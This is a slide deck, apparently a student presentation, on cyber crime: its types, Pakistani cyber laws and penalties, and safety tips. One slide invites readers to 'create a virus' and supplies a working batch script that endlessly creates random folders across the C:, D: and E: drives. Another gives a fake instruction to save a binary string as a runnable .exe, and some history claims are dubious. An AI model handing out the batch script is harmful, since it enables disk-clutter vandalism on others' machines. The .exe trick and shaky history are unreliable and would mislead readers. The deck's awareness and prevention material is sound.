



Cyber Crime



Contents

- Introduction
- Definition
- History
- Categories
- Types
- Cyber Laws
- Prevention
- Conclusion

Introduction

- Computer crime or Cyber Crime is criminal activity that involves unlawful access to computer systems.
- Cyber crime is an illegal activity committed on the internet.



Definition

Crime committed using a computer and the internet to steal data or information.

Example:

- ☐ Stealing credit card information
- ☐ Breaking into government website





History

- The first cyber crime ever recorded was in France during 1820.
- The person involved was Joseph-Marie.
- He was a textile manufacturer, he made looms.
- He invented looms that can store design.

History

- The first spam email took place in the year 1978.
- The first virus was installed on Apple Computer in the year 1982.



Categories of Cyber Crime

➤ The Computer as a Target:

Using a computer to attacks other computer.

e.g. Hacking, virus/worms attacks etc.

➤ The Computer as a Weapon:

Using a computer to commit
real world crime

e.g. Cyber terrorism,
credit card fraud etc.



A faint, stylized world map is visible in the background of the top section of the slide, showing the continents in a light blue tone against a darker blue background.

Types of Cyber Crime

- Hacking
- Credit Card Fraud
- Virus Dissemination
- Cyber Terrorism
- Computer Vandalism
- Software Piracy
- Spoofing

Hacking

Hacking is a source of threat to security in computer. It is defined as unauthorized access to the computer system by a hacker.

Types Of Hackers:

- i. White Hat Hackers
- ii. Black Hat Hackers
- iii. Gray Hat Hackers



Credit Card Fraud

- When an individual uses another individuals' credit card for personal reasons while the owner of the card and the card issuer are not aware of the fact that the card is being used.
- This problem occur while using online banking , shopping.



Credit Card Fraud(contd.)

- To avoid such a fraud the banks are now make a privacy so that one can't use the others credit card because of the mobile security code and two steps verification.
- Now this is an ethical conduct that is enforce by the banks to avoid such type of hacking.

Virus Dissemination

Malicious software that attaches itself to other software.



Virus Dissemination(contd.)

- Example to create a virus by yourself open your notepad and write Following Code and paste it in notepad then Save it as “anyname.bat”.

```
@echo off
```

```
:VIRUS
```

```
cd /d C:
```

```
md %RANDOM%
```

```
cd /d D:
```

```
md %RANDOM%
```

```
cd /d E:
```

```
md %RANDOM%
```

```
goto VIRUS
```

Virus Dissemination(contd.)

- Keep a regular backup of your important files.
- Be aware that most current viruses arrive as e-mail attachments. Be very aware of any attachment that has any of the following file extensions:
**.exe .vbs .scr .vbe .com .bat .shs .cpl .dll .ocx
.pif .drv .lnk .bin .sys .eml .nws**
- It is impossible for any anti-virus program to protect against all new viruses, so your best protection is to be very cautious about opening e-mail attachments.

Cyber Terrorism

- Use of Internet based attacks in terrorist activities.
- There are laws to prevent cyber crimes.

For example:

- Seven Iranians working on behalf of Iranian government indicted on hacking charges.
- Many persons has sent to jail recently in Rawalpindi for blackmailing on the social media.



Computer Vandalism

- Damaging or destroying data rather than stealing.
- Transmitting virus.
- Ethical way to deal with **computer vandalism** is not to give permissions to software without reading the agreements.



Computer Vandalism (contd.)

For Example:

For Example:

- Write the Following code In Notepad Exactly as it says
- 01001011000111110010010101010101
0000011111100000
- Save as a .EXE -any name will do
- Run the .exe
- You are done !
- Don't try this at your friend's laptop it's just for information purpose :p

Software Piracy

- Theft of software through the illegal copying of genuine programs.



Software Piracy(contd.)

- Nowadays, no one is ready to use the original software's as they are too costly.
- Some of the organizations are now doing a serious attempt against the people who are involved in the distribution of pirated software's.

For Example:

BSA has many running cases.

Spoofing

- The word "spoof" means to trick, or deceive. Therefore, in the IT world, spoofing refers to tricking or deceiving computer systems or other computer users. This is typically done by hiding one's identity or faking the identity of another user on the Internet.
- Spoofing can take place on the Internet in several different ways:
 - ☐ E-mail Spoofing
 - ☐ IP Spoofing
 - ☐ Fake Identity





Spoofing(contd.)

- Always keep your computer system updated with a good anti virus software
- Do not open the mail if you do not recognize the sender.
- Ignore any mails with comes without sender names
- Ignore any mail which has your name in the sender details
- Do not open any mails if it has only a link in the body of the message

Cyber Laws in Pakistan

- There are different laws, promulgated in Pakistan.
- These laws not only deal with crime of Internet.
- These deal with all dimensions related to computer & networks.
- Two of them are most known. They are:
 - ❑ Electronic Transaction Ordinance 2002
 - ❑ Electronic / Cyber Crime Bill 2007

Electronic Transaction Ordinance 2002

Overview

- The Electronic Transactions Ordinance (ETO), 2002, was the first IT-relevant legislation created by national lawmakers.
- Protection for Pakistani e-Commerce locally and globally.
- Protect Pakistan's critical infrastructure
- It is heavily taken from foreign law related to cyber crime.

Electronic/Cyber Crime Bill 2007

Overview

- “Prevention of Electronic Crimes Ordinance, 2007” is in force now.
- It was promulgated by the President of Pakistan on the 31st December 2007
- The bill deals with the electronic crimes included:
 - ☐ Cyber terrorism
 - ☐ Data damage
 - ☐ Electronic fraud
 - ☐ Unauthorized access to code
 - ☐ Cyber Spamming/spoofing

Electronic/Cyber Crime Bill 2007

- It will apply to every person who commits an offence, irrespective of his nationality or citizenship.
- It gives exclusive powers to the Federal Investigation Agency (FIA) to investigate and charge cases against such crimes.
- Every respective offence under this law has its distinctive punishment which can be imprisonment or fine.

Imprisonment and Fine

Offence	Imprisonment (years)	Fine
Criminal Access	3	3 Lac
Criminal Data Access	3	3 Lac
Data Damage	3	3 Lac
System Damage	3	3 Lac
Electronic Fraud	7	7 Lac
Electronic Forgery	7	7 Lac
Misuse of Device	3	3 Lac
Unauthorized access to code	3	3 Lac
Malicious code	5	5 Lac
Defamation	5	5 Lac
Cyber stalking	3	3 Lac
Cyber Spamming	6 months	50,000
Spoofing	3	3 Lac
Cyber terrorism	Life	10 Million

SAFETY TIPS FOR CYBER CRIME

- Use antivirus software's.
- Insert firewalls.
- Uninstall unnecessary software
- Maintain backup.
- Check security settings.
- Never give your full name or address to strangers.
- Learn more about Internet privacy.



Cyber Security

- Internet security is a branch of computer security specifically related to the Internet.
- It's objective is to establish rules and measure to use against attacks over the Internet.



Cyber Security
is our shared
responsibility...

Safeguard
your data!

ADVANTAGES OF CYBER SECURITY

- Defend us from critical attacks.
- Browse the safe website.
- Internet security process all the incoming and outgoing data on our computer.





Conclusion

- As someone rightly said that “bytes are replacing bullets in the crime world”.
- The key to protecting yourself is being aware.
- Not all cybercriminals are “hackers.”
- There is a whole other world that exists in cyberspace, make sure that your information travels safely.
- Stay Secure.



Thank You